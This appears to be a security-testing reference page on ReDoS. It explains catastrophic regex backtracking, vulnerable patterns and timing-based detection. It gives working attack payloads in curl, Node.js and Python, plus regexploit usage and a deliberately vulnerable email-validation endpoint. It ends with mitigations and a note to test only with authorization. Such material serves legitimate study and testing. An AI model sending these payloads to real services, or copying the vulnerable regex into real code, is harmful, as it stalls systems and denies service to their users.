Skip to main content

​
Overview

ReDoS (Regular Expression Denial of Service) abuses backtracking behavior in regex engines. A crafted input forces the engine into exponential or polynomial time evaluation, stalling the application. Most languages use NFA-based engines (PCRE, Java, Python re, JavaScript). These are vulnerable. DFA-based engines (Go regexp, RE2) are immune.

​
How Backtracking Works

Vulnerable pattern: ^(a+)+$ Input: "aaaaaaaaaaaaaaaaab" Engine tries every combination of how (a+) groups can split the as before failing on b. With n characters, attempts grow as 2^n. 
n=10  → ~1024 attempts
n=20  → ~1048576 attempts
n=30  → ~1073741824 attempts

​
Vulnerable Patterns

PatternWhy Vulnerable
(a+)+$Nested quantifiers — $ forces failure, exponential backtracking
(a|aa)+$Alternation overlap — engine tries all branch combos before failing
([a-zA-Z]+)*$Outer * + inner + over same charset — exponential splits
(a*)*$Nested Kleene stars — exponential empty-match combinations
^(\w+\s?)*$Anchors force full-string match — exponential partition of word chars

​
Identifying Vulnerable Targets

​
Black-Box Detection

Send inputs that grow exponentially and measure response time: 
# Baseline
curl -s -o /dev/null -w "%{time_total}" -X POST https://target.com/api/validate \
  -d 'input=aaaa'

# Stress
curl -s -o /dev/null -w "%{time_total}" -X POST https://target.com/api/validate \
  -d 'input=aaaaaaaaaaaaaaaaaaaaaaaaaab'
Response time doubling with each added character = strong signal.

​
Source Code Audit

Look for regex applied to user-controlled input: 
# Grep for dangerous nested quantifiers
grep -rE '\([^)]*[+*]\)[+*]' --include="*.js" --include="*.py" --include="*.php" .

# Find regex applied to request params
grep -rE '(re\.match|re\.search|preg_match|\.test\()' --include="*.py" --include="*.php" --include="*.js" .

​
Exploitation

​
Payload Generation

General approach — find the prefix before a failing anchor, repeat the vulnerable group: 
vulnerable: ^(\w+\s?)*$
anchor fail: "!" (not \w or \s)
payload: "aaaa aaaa aaaa aaaa aaaa aaaa aaaa aaaa!"
Automate with vuln-regex-detector or regexploit: 
# regexploit — finds exploit string for a given pattern
pip install regexploit
echo '^(\w+\s?)*$' | regexploit

​
Node.js Example

// Vulnerable endpoint
app.post('/validate', (req, res) => {
  const email = req.body.email;
  if (/^([a-zA-Z0-9])(([a-zA-Z0-9])*([\._-])?([a-zA-Z0-9]))*(@{1})([a-zA-Z0-9-]+)(\.[a-zA-Z][a-zA-Z]+){1,2}$/.test(email)) {
    res.send('valid');
  } else {
    res.send('invalid');
  }
});

// Attack payload
const payload = 'a'.repeat(50) + '!';
// Hangs the event loop — blocks all requests

​
Python Example

import re

# Vulnerable
pattern = re.compile(r'^(a+)+$')
pattern.match('a' * 30 + 'b')  # ~seconds

# Exploit via HTTP input
import requests
payload = 'a' * 35 + '!'
requests.post('http://target.com/check', data={'input': payload}, timeout=30)

​
Tools

ToolUse
regexploitGenerate exploit strings for vulnerable patterns
vuln-regex-detectorStatic analysis — detect vulnerable patterns
ReDoS checkerOnline — paste pattern, get verdict + exploit string
regex101Online — build and debug regex with step-by-step match trace

​
Mitigation (Reference)

  • Replace NFA engines with RE2/Hyperscan where possible
  • Enforce input length limits before regex evaluation
  • Use atomic groups or possessive quantifiers if engine supports
  • Timeout regex evaluation (Python signal, Java ExecutorService)
Test only in authorized environments. Sending ReDoS payloads to production systems without permission = unauthorized DoS.